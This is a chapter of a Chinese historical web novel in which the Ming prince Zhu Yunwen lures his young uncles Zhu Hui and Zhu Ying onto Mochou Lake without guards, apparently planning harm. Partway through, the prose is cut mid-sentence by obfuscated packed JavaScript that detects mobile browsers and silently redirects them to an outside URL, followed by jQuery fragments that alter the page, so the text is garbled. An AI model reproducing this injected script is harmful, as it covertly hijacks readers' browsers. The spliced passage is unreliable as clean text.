原本以为朱允炆口中那个“比栾音阁还好玩百倍”的地方,会是什么隐蔽的私坊或是斗鸡走狗的赌场,谁知马车七拐八绕,最后竟停在了一片碧波荡漾的湖泊前。
此处名为莫愁湖,乃是金陵名胜。
岸边垂柳依依,如少女散落的青丝,在微风中轻轻拂过水面,荡起层层细碎的涟漪。
湖面上荷叶田田,虽已过了盛夏,残荷却别有一番风骨。
远处,几只水鸟掠过水面,留下一串清脆的啼鸣,好一派岁月静好的江南水乡画卷。
“这就叫好玩?”
朱橞跳下马车,看着眼前的湖光山色,虽然觉得景色不错,但心里多少有点落差。
他本来还期待着什么刺激的场面呢,结果就是来这儿吹冷风?
“十九叔此言差矣。”
朱允炆摇着折扇,一副风流才子的做派,笑着指了指湖心,“这莫愁湖的美,不在岸边,而在湖心。登楼远眺,金陵景色尽收眼底,那才叫心旷神怡。况且,在这湖上泛舟,温一壶好酒,岂不比在那乌烟瘴气的青楼里强上百倍?”
朱橞一听有酒,眼睛顿时亮了:“这倒是有点意思!走走走,咱们这就去看看!”
朱楹站在一旁,冷眼看着朱允炆那副殷勤的模样,心中却是警铃大作。
事出反常必有妖。
这朱允炆刚在自己手里吃了那么大的亏,这会儿不记恨也就罢了,怎么可能还好心请自己游湖?
这湖水深不见底,若是出了什么意外……
“怎么?二十二叔不喜欢这儿?”朱允炆转头看向朱楹,嘴角挂着一抹似有若无的嘲讽。
“也是,二十二叔平日里深居简出,怕是欣赏不来这等雅致的景色。若是二十二叔怕水,就在岸边等着也无妨,我和十九叔去去就回。”
这激将法用得虽然拙劣,但却有效。
朱楹若是真留在岸上,反倒显得他胆小如鼠了。
“大侄子说笑了。”朱楹淡淡一笑,负手而立,那只有九岁的身躯里却透出一股与其年龄不符的从容。
“既然来了,自然要陪大侄子尽兴。我也想看看,这湖心到底藏着什么‘好风景’。”
“既如此,那就请吧。”
朱允炆眼中闪过一丝不易察觉的阴狠。
三人来到码头,那里早已停泊着一艘乌篷小船,船身不大,看着只能容纳四五人。
几名随行的贴身侍卫刚要跟上,就被朱允炆抬手拦住了。
“哎,几位这是做什么?”朱允炆眉头微蹙,一脸的不悦。
“这船小,坐不下这么多人。况且我们要去谈些叔侄间的体己话,你们跟着算怎么回事?在那儿杵着跟木头桩子似的,多扫兴啊!”
侍卫统领有些为难,拱手道:“长孙殿下,保护几位殿下的安危是属下的职责。这湖面宽阔,万一……”
“万一什么?在这天子脚下,京师重地,还能有水匪不成?”朱橞也不耐烦地挥挥手。
“行了行了,你们就在岸上候着吧!我和允炆都是习武之人,难道还护不住一个小小的二十二弟?再说了,我这一身力气是白长的吗?”
说着,他还**似的挥了挥那砂锅大的拳头。
侍卫们面面相觑。
一个是皇十九子,一个是皇长孙,这二位的话他们哪敢不听?最终,侍卫统领只能叹了口气,带着人退到了岸边的大柳树下。
“属下遵命。还请几位殿下小心,若有不对,即刻呼救。”
朱允炆见侍卫被支开,嘴角的笑意更深了几分。
只要没了这些碍事的侍卫,那这湖中心,就是叫天天不应,叫地地不灵的绝地!
三人上了船。
船上空荡荡的,连个船夫都没有。
“这……怎么没人划船啊?”朱橞傻眼了。
“这不是为了清净嘛。”朱允炆假模假样地拿起一根船桨。
“咱们自己动手,丰衣足食。这也算是雅趣的一种。”
“得得得!你那细胳膊细腿的,别把桨给折了。”朱橞一把抢过船桨,撸起袖子。
“还是我来吧!正好刚才吃撑了,消消食!”
朱橞虽然平时看着不靠谱,但这把子力气确实不是盖的。
只见他双臂发力,木桨在水中划出一道道漩涡,小船如同离弦之箭般向湖心冲去。
一边划,他还一边打量着坐在船尾安安静静的朱楹,突然想起了那天在宫里,朱楹轻轻松松就把自己扔出去的场景。
“哎,老弟。”朱橞一边喘着粗气一边说道。
“你别看你长得瘦瘦小小的,跟个豆芽菜似的,力气倒是不小啊。那天你那一下子,差点没把哥哥我的腰给闪了。要不你来替我划两下?”
朱楹靠在船舷上,懒洋洋地瞥了他一眼:“十九哥若是累了,咱们就回去。反正我也没什么兴趣。”
“别别别!我不累!我一点都不累!”朱橞立刻
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17136324|196293||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
加快了手里的动作,生怕朱楹真的要回去。
坐在船头的朱允炆听着两人的对话,心中冷笑连连。
力气大?
哼,力气再大也就是个九岁的孩子!
等会儿到了湖心,看你还能不能这么淡定!
他虽然也装模作样地拿着另一根桨划水,但根本没用什么力气,眼神却时不时地往四周瞟,似乎在寻找着什么。
小船渐渐驶离了岸边,四周变得空旷起来。
湖风吹来,带着一丝深秋的凉意。
朱橞是个闲不住的主儿,划了一会儿觉得无聊,目光便落在了朱楹脚边的那个包裹上。
那是朱楹之前给玉儿买衣服剩下的,因为走得急,里面还剩下一套没送出去的女装。
“哎,我说老弟。”朱橞坏笑着凑过去,“你这包裹里鼓鼓囊囊的,装的啥宝贝啊?刚才在酒馆我就想问了,我看那好像是……女人的衣裳?”
朱楹脸色一黑,不动声色地把包裹往身后挪了挪:“没什么,随便买的。”
“随便买的?”朱橞哪里肯信,脸上的八卦之火熊熊燃烧。
“你个九岁的小屁孩,买女人衣裳干嘛?难道是……宫里哪个小宫女把你的魂儿勾走了?嘿嘿嘿,快跟哥哥说说,哥哥给你参谋参谋!”
“朱橞!你闭嘴!”朱楹有些恼了,这货怎么哪壶不开提哪壶?
“哟!还害羞了!”朱橞越发来劲了,“允炆,你看看你二十二叔,小小年纪就不学好,都学会藏女人东西了!这要是让父皇知道了……”
朱允炆听到“女人”二字,脑海里瞬间浮现出那个让他损失了三千五百两银子的西域美女,心头顿时一阵刺痛。
他看着朱楹那张平静的脸,新仇旧恨涌上心头。
好你个朱楹,不仅害我挨打,现在还敢在我面前显摆你有“女人缘”?
“十九叔说笑了。”朱允炆皮笑肉不笑地打圆场。
“二十二叔也是到了知慕少艾的年纪了嘛。只不过……”
他话锋一转,眼神阴毒地盯着朱楹,“这挑选女人的眼光,可得擦亮了。哦对了,二十二叔这身板,怕是还没长开吧?这女人衣裳买回去,恐怕也只能挂着看看咯!”
这话里话外,全是恶毒的讽刺和诅咒。
朱楹眯了眯眼,看着朱允炆那副小人得志的嘴脸,心中最后一丝犹豫也烟消云散。
既然你想玩,那今天我就陪你好好玩玩。